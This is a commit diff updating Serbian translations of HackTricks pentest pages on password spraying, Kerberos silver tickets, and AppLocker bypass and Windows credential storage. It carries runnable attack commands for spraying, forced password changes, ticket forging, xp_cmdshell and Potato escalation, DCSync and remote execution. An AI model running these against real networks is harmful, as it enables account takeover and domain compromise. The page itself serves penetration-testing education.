Translated ['src/windows-hardening/authentication-credentials-uac-and-ef

This commit is contained in:
Translator 2025-09-03 17:18:34 +00:00
parent e8035d4a8c
commit d91ef1456f
4 changed files with 261 additions and 148 deletions

View File

@ -1,7 +1,7 @@
# Kerberos autentifikacija
# Kerberos Authentication
{{#include ../../banners/hacktricks-training.md}}
**Pogledajte neverovatnu objavu sa:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Pogledajte odličan članak:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Kada pronađete nekoliko **valid usernames** možete pokušati najčešće **common passwords** (imajte na umu password policy okruženja) sa svakim od otkrivenih korisnika.\
By **default** the **minimum** **password** **length** is **7**.
Kada pronađete nekoliko **valid usernames** možete za svakog otkrivenog korisnika pokušati najčešće **common passwords** (imajte u vidu password policy okruženja).\
Po **default**-u, **minimum** **password** **length** je **7**.
Liste common usernames takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Liste **common usernames** takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Imajte na umu da **could lockout some accounts if you try several wrong passwords** (by default more than 10).
Imajte na umu da možete **lockout some accounts if you try several wrong passwords** (po **default**-u više od 10).
### Dobijte password policy
### Dobijanje password policy
Ako imate neke user credentials ili shell kao domain user možete **get the password policy with**:
Ako imate user credentials ili shell kao domain user možete **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -40,18 +40,18 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- Korišćenje [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
- Koristeći [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da izbegnete zaključavanja):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da biste izbegli zaključavanja naloga):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Koristeći [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČLJIVO, PONEKAD NE RADI
- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NE PREPORUČUJE SE; PONEKAD NE RADI
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -60,16 +60,16 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
![](<../../images/image (745).png>)
- Pomoću **rpcclient**:
- Koristeći **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Sa Windows-a
#### Iz Windowsa
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja sadrži brute modul:
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja ima brute modul:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,29 +77,61 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Sa [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Može podrazumevano generisati users iz domaina i preuzeti password policy iz domaina i ograničiti pokušaje u skladu sa njom):
- Korišćenjem [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Po defaultu može da generiše korisnike iz domena, da preuzme politiku lozinki iz domena i da ograniči pokušaje u skladu sa njom):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- Sa [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- Uz [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
### Identifikovati i preuzeti naloge sa "Password must change at next logon" (SAMR)
Jedna nisko-bučna tehnika je primena password spraying-a benignom/praznom lozinkom i otkrivanje naloga koji vraćaju STATUS_PASSWORD_MUST_CHANGE, što ukazuje da je lozinka prisilno istekla i može se promeniti bez poznavanja stare.
Tok rada:
- Enumerišite korisnike (RID brute via SAMR) kako biste izgradili listu ciljeva:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray praznu lozinku i nastavi dalje na pogodcima da bi uhvatio naloge koji moraju da promene lozinku pri sledećem logonu:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Za svaki hit, promenite lozinku preko SAMR-a koristeći NetExecs module (stara lozinka nije potrebna kada je "must change" postavljeno):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Operativne napomene:
- Osigurajte da je sat vašeg hosta sinhronizovan sa DC pre operacija zasnovanih na Kerberosu: `sudo ntpdate <dc_fqdn>`.
- Znak [+] bez (Pwn3d!) u nekim modulima (npr. RDP/WinRM) znači da su kredencijali validni, ali nalog nema prava za interaktivnu prijavu.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying smanjuje šum u poređenju sa SMB/NTLM/LDAP bind pokušajima i bolje se uklapa u AD lockout policies. SpearSpray kombinuje LDAP-driven targeting, pattern engine i policy awareness (domain policy + PSOs + badPwdCount buffer) kako bi spray-ovao precizno i bezbedno. Takođe može označiti kompromitovane principe u Neo4j za BloodHound pathing.
Kerberos pre-authbased spraying smanjuje šum u odnosu na SMB/NTLM/LDAP bind pokušaje i bolje se uklapa sa AD lockout politikama. SpearSpray spaja LDAP-driven targeting, pattern engine i svest o politikama (domain policy + PSOs + badPwdCount buffer) da bi spray-ovao precizno i bezbedno. Takođe može da tag-uje kompromitovane principle u Neo4j za BloodHound pathing.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
- LDAP user discovery sa paging-om i LDAPS podrškom, opciono koristeći custom LDAP filters.
- Domain lockout policy + PSO-aware filtriranje da bi se ostavio konfigurisani buffer pokušaja (threshold) i izbeglo zaključavanje korisnika.
- Kerberos pre-auth validation koristeći fast gssapi bindings (generiše 4768/4771 na DCs umesto 4625).
- Pattern-based, per-user password generation koristeći varijable kao što su names i temporal values izvedene iz svakog user-ovog pwdLastSet.
- Throughput control sa threads, jitter i max requests per second.
- Optional Neo4j integration za označavanje kompromitovanih korisnika za BloodHound.
Basic usage and discovery:
```bash
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth i sigurnosne kontrole:
Kontrole prikrivanja i bezbednosti:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -133,7 +165,7 @@ Neo4j/BloodHound obogaćivanje:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Pregled sistema šablona (patterns.txt):
Pregled sistema obrazaca (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
@ -144,13 +176,13 @@ Pregled sistema šablona (patterns.txt):
```
Dostupne promenljive uključuju:
- {name}, {samaccountname}
- Vremenske vrednosti iz pwdLastSet (ili whenCreated) svakog korisnika: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Pomoćni elementi za kompoziciju i org token: {separator}, {suffix}, {extra}
- Vremenske vrednosti iz pwdLastSet svakog korisnika (ili whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Pomoćne promenljive za kompoziciju i org token: {separator}, {suffix}, {extra}
Operativne napomene:
- Preporučuje se da se upit šalje PDC-emulatoru pomoću -dc kako biste pročitali najautoritatnije badPwdCount i informacije vezane za politiku.
- Preferirajte upite prema PDC-emulatoru sa -dc da biste pročitali najautoritativniji badPwdCount i informacije vezane za politiku.
- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon perioda posmatranja; koristite prag i tajming da ostanete bezbedni.
- Kerberos pre-auth pokušaji se pojavljuju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite.
- Pokušaji Kerberos pre-auth se pojavljuju kao 4768/4771 u DC telemetriji; koristite jitter i rate-limiting da se uklopite.
> Savet: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
@ -164,7 +196,7 @@ Postoji više alata za p**assword spraying outlook**.
- Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Da biste koristili bilo koji od ovih alata, potreban vam je spisak korisnika i jedan password / mala lista passwords za spray.
Za korišćenje bilo kog od ovih alata, potrebna vam je lista korisnika i jedna lozinka / mala lista lozinki za password spraying.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -183,7 +215,7 @@ Da biste koristili bilo koji od ovih alata, potreban vam je spisak korisnika i j
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## Izvori
## Reference
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
@ -194,6 +226,7 @@ Da biste koristili bilo koji od ovih alata, potreban vam je spisak korisnika i j
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,21 +6,21 @@
## Silver ticket
Napad **Silver Ticket** uključuje eksploataciju servisnih karata u Active Directory (AD) okruženjima. Ova metoda se oslanja na **sticanje NTLM haša servisnog naloga**, kao što je nalog računara, kako bi se falsifikovala Ticket Granting Service (TGS) karta. Sa ovom falsifikovanom kartom, napadač može pristupiti specifičnim uslugama na mreži, **pretvarajući se da je bilo koji korisnik**, obično sa ciljem sticanja administratorskih privilegija. Naglašava se da je korišćenje AES ključeva za falsifikovanje karata sigurnije i manje uočljivo.
Napad **Silver Ticket** uključuje eksploataciju servisnih tiketa u Active Directory (AD) okruženjima. Ova metoda se zasniva na **dobijanju NTLM hash-a service account-a**, kao što je računar-account, kako bi se falsifikovao Ticket Granting Service (TGS) tiket. Sa ovim falsifikovanim tiketom, napadač može pristupiti određenim servisima na mreži, **imitujući bilo kog korisnika**, obično sa ciljem sticanja administratorskih privilegija. Naglašeno je da je korišćenje AES keys za falsifikovanje tiketa sigurnije i teže za detektovanje.
> [!WARNING]
> Silver Tickets su manje uočljivi od Golden Tickets jer zahtevaju samo **haš servisnog naloga**, a ne krbtgt nalog. Međutim, ograničeni su na specifičnu uslugu koju ciljaju. Pored toga, samo krađa lozinke korisnika.
Pored toga, ako kompromitujete **lozinku naloga sa SPN** možete koristiti tu lozinku da kreirate Silver Ticket pretvarajući se da je bilo koji korisnik za tu uslugu.
> Silver Tickets su manje detektabilni od Golden Tickets zato što zahtevaju samo **hash of the service account**, a ne krbtgt account. Međutim, ograničeni su na specifičan servis koji ciljaju. Takođe, dovoljna je samo krađa lozinke korisnika.
> Ako kompromituješ **lozinku naloga koji ima SPN** možeš iskoristiti tu lozinku da kreiraš Silver Ticket koji se predstavlja kao bilo koji korisnik za taj servis.
Za kreiranje karata koriste se različiti alati u zavisnosti od operativnog sistema:
Za kreiranje tiketa koriste se različiti alati u zavisnosti od operativnog sistema:
### On Linux
### Na Linuxu
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Na Windows-u
### Na Windowsu
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -37,48 +37,81 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS servis je istaknut kao uobičajeni cilj za pristupanje fajl sistemu žrtve, ali se i drugi servisi kao što su HOST i RPCSS takođe mogu iskoristiti za zadatke i WMI upite.
CIFS servis je istaknut kao uobičajeni cilj za pristup fajl sistemu žrtve, ali i drugi servisi poput HOST i RPCSS takođe mogu biti iskorišćeni za tasks i WMI upite.
## Dostupne Usluge
### Primer: MSSQL servis (MSSQLSvc) + Potato to SYSTEM
| Tip Usluge | Usluge Silver Tickets |
Ako imate NTLM hash (ili AES ključ) SQL servisnog naloga (npr. sqlsvc), možete falsifikovati TGS za MSSQL SPN i impersonirati bilo kog korisnika prema SQL servisu. Odatle omogućite xp_cmdshell da izvršavate komande kao SQL servisni nalog. Ako taj token ima SeImpersonatePrivilege, upotrebite Potato za eskalaciju privilegija na SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Ako rezultujući kontekst ima SeImpersonatePrivilege (obično tačno za service accounts), koristi Potato varijantu da dobiješ SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Više detalja o zloupotrebi MSSQL i omogućavanju xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Pregled Potato tehnika:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## Dostupne usluge
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>U zavisnosti od OS takođe:</p><p>WSMAN</p><p>RPCSS</p> |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>U zavisnosti od OS-a takođe:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>U nekim slučajevima možete jednostavno tražiti: WINRM</p> |
| Zakazani Zadaci | HOST |
| Windows Deljenje Fajlova, takođe psexec | CIFS |
| LDAP operacije, uključujući DCSync | LDAP |
| Windows Alati za Udaljenu Administraciju | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Zlatni Tiketi | krbtgt |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Korišćenjem **Rubeus** možete **tražiti sve** ove tikete koristeći parametar:
Pomoću Rubeusa možete zatražiti sve ove tikete koristeći parametar:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silver tiketi ID-evi Događaja
### Event ID-ovi za Silver tickets
- 4624: Prijava na Nalog
- 4634: Odjava sa Naloga
- 4672: Prijava Administratora
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Postojanost
## Persistencija
Da biste sprečili mašine da menjaju svoju lozinku svake 30 dana, postavite `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ili možete postaviti `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na veću vrednost od 30 dana da biste označili period rotacije kada bi lozinka mašine trebala da se menja.
Da biste sprečili da mašine menjaju svoju lozinku na svakih 30 dana, podesite `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ili možete podesiti `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na veću vrednost od 30 dana da označite period rotacije kada lozinka mašine treba da bude promenjena.
## Zloupotreba Uslužnih Tiketa
## Zloupotreba Service tickets
U sledećim primerima zamislite da je tiket preuzet imitujući administratorski nalog.
U sledećim primerima, pretpostavimo da je ticket dobijen lažno predstavljajući se kao administratorski nalog.
### CIFS
Sa ovim tiketom bićete u mogućnosti da pristupite `C$` i `ADMIN$` folderu putem **SMB** (ako su izloženi) i kopirate fajlove u deo udaljenog fajl sistema jednostavno radeći nešto poput:
Sa ovim ticket-om moći ćete pristupiti folderima `C$` i `ADMIN$` putem **SMB** (ako su izloženi) i kopirati fajlove na deo udaljenog fajl sistema radeći nešto poput:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Moći ćete da dobijete shell unutar hosta ili izvršite proizvoljne komande koristeći **psexec**:
Takođe ćete moći da dobijete shell unutar hosta ili da izvršavate proizvoljne komande koristeći **psexec**:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -86,7 +119,7 @@ Moći ćete da dobijete shell unutar hosta ili izvršite proizvoljne komande kor
### HOST
Sa ovom dozvolom možete generisati zakazane zadatke na udaljenim računarima i izvršiti proizvoljne komande:
Sa ovom dozvolom možete da kreirate zakazane zadatke na udaljenim računarima i izvršavate proizvoljne komande:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -100,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Sa ovim tiketima možete **izvršiti WMI u sistemu žrtve**:
Sa ovim ticketima možete **pokrenuti WMI na žrtvinom sistemu**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -110,7 +143,8 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Nađite **više informacija o wmiexec** na sledećoj stranici:
Pronađite **više informacija o wmiexec** na sledećoj stranici:
{{#ref}}
../lateral-movement/wmiexec.md
@ -118,22 +152,23 @@ Nađite **više informacija o wmiexec** na sledećoj stranici:
### HOST + WSMAN (WINRM)
Sa winrm pristupom preko računara možete **pristupiti** i čak dobiti PowerShell:
Uz winrm pristup računaru možete mu **pristupiti** i čak dobiti PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Proverite sledeću stranicu da biste saznali **više načina za povezivanje sa udaljenim hostom koristeći winrm**:
Pogledajte sledeću stranicu da saznate **još načina za povezivanje sa udaljenim hostom koristeći winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Imajte na umu da **winrm mora biti aktivan i slušati** na udaljenom računaru da biste mu pristupili.
> Obratite pažnju da **winrm mora biti aktivan i osluškivati** na udaljenom računaru da biste mu pristupili.
### LDAP
Sa ovom privilegijom možete dumpovati DC bazu koristeći **DCSync**:
Sa ovom privilegijom možete izvršiti dump DC baze podataka koristeći **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
@ -145,11 +180,12 @@ dcsync.md
{{#endref}}
## Reference
## Izvori
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,17 +1,17 @@
# Windows Security Controls
# Windows bezbednosne kontrole
{{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy
## AppLocker politika
Lista odobrenih aplikacija je spisak odobrenih softverskih aplikacija ili izvršnih datoteka koje su dozvoljene da budu prisutne i da se pokreću na sistemu. Cilj je zaštititi okruženje od štetnog malvera i neodobrenog softvera koji nije u skladu sa specifičnim poslovnim potrebama organizacije.
Lista dozvoljenih aplikacija je spisak odobrenih softverskih aplikacija ili izvršnih fajlova koji su dozvoljeni da budu prisutni i pokrenuti na sistemu. Cilj je zaštititi okruženje od štetnog malware-a i neodobrenog softvera koji nije u skladu sa specifičnim poslovnim potrebama organizacije.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) je Microsoftovo **rešenje za belu listu aplikacija** i daje sistemskim administratorima kontrolu nad **tim koje aplikacije i datoteke korisnici mogu da pokreću**. Pruža **detaljnu kontrolu** nad izvršnim datotekama, skriptama, Windows instalacionim datotekama, DLL-ovima, pakovanim aplikacijama i instalaterima pakovanih aplikacija.\
Uobičajeno je da organizacije **blokiraju cmd.exe i PowerShell.exe** i pisanje pristupa određenim direktorijumima, **ali se sve to može zaobići**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) je Microsoftovo rešenje za aplikacionu belu listu i daje sistemskim administratorima kontrolu nad **koje aplikacije i fajlove korisnici mogu pokretati**. Omogućava **preciznu kontrolu** nad izvršnim fajlovima, skriptama, Windows installer fajlovima, DLL-ovima, pakovanim aplikacijama i pakovanim installerima aplikacija.\
Uobičajeno je da organizacije **blokiraju cmd.exe i PowerShell.exe** i pravo pisanja u određene direktorijume, **but this can all be bypassed**.
### Check
### Provera
Proverite koje su datoteke/ekstenzije na crnoj/beloj listi:
Proverite koji fajlovi/ekstenzije su na crnoj/beloj listi:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Ova putanja u registru sadrži konfiguracije i politike koje primenjuje AppLocker, pružajući način da se pregleda trenutni skup pravila koja se primenjuju na sistemu:
Ova putanja u registru sadrži konfiguracije i politike koje primenjuje AppLocker, i omogućava pregled trenutnog skupa pravila koja se sprovode na sistemu:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
### Zaobilaženje
- Korisni **Writable folders** za zaobilaženje AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar `C:\Windows\System32` ili `C:\Windows`, postoje **writable folders** koje možete koristiti za **zaobilaženje ovoga**.
- Korisni direktorijumi u koje se može pisati za zaobilaženje AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar `C:\Windows\System32` ili `C:\Windows`, postoje direktorijumi u koje se može pisati koje možete iskoristiti da ovo zaobiđete.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Uobičajeni **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) binarni fajlovi mogu biti korisni za zaobilaženje AppLocker-a.
- **Loše napisane pravila takođe mogu biti zaobiđena**
- Na primer, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, možete kreirati **folder pod nazivom `allowed`** bilo gde i biće dozvoljeno.
- Organizacije često fokusiraju na **blokiranje `%System32%\WindowsPowerShell\v1.0\powershell.exe` izvršnog fajla**, ali zaboravljaju na **druge** [**lokacije PowerShell izvršnih fajlova**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kao što su `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ili `PowerShell_ISE.exe`.
- **DLL enforcement veoma retko omogućen** zbog dodatnog opterećenja koje može staviti na sistem, i količine testiranja potrebnog da se osigura da ništa neće prestati da funkcioniše. Tako da korišćenje **DLL-ova kao backdoor-a će pomoći u zaobilaženju AppLocker-a**.
- Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite Powershell** kod u bilo kojem procesu i zaobiđete AppLocker. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Uobičajeno **pouzdani** [**"LOLBAS's"**](https://lolbas-project.github.io/) binarni fajlovi takođe mogu biti korisni za zaobilaženje AppLocker-a.
- **Loše napisana pravila** takođe se mogu zaobići
- Na primer, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, možete kreirati **folder nazvan `allowed`** bilo gde i biće dozvoljen.
- Organizacije često fokusiraju blokiranje **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** izvršnog fajla, ali zaborave na **druge** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kao što su `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ili `PowerShell_ISE.exe`.
- **DLL enforcement** retko je omogućena zbog dodatnog opterećenja koje može staviti na sistem i količine testiranja potrebnog da se osigura da ništa neće puknuti. Dakle, korišćenje **DLL-ova kao backdoora** pomaže u zaobilaženju AppLockera.
- Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite PowerShell** kod u bilo kom procesu i zaobiđete AppLocker. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Credentials Storage
## Čuvanje kredencijala
### Security Accounts Manager (SAM)
### Menadžer sigurnosnih naloga (SAM)
Lokalne kredencijale su prisutne u ovoj datoteci, lozinke su heširane.
Lokalni kredencijali se nalaze u ovom fajlu, lozinke su heširane.
### Local Security Authority (LSA) - LSASS
### Lokalna sigurnosna vlast (LSA) - LSASS
**Kredencijali** (heširani) su **sačuvani** u **memoriji** ovog podsistema iz razloga Jedinstvenog Prijavljivanja.\
**LSA** upravlja lokalnom **bezbednosnom politikom** (politika lozinki, dozvole korisnika...), **autentifikacijom**, **tokenima pristupa**...\
LSA će biti ta koja će **proveriti** date kredencijale unutar **SAM** datoteke (za lokalno prijavljivanje) i **komunicirati** sa **kontrolerom domena** da autentifikuje korisnika domena.
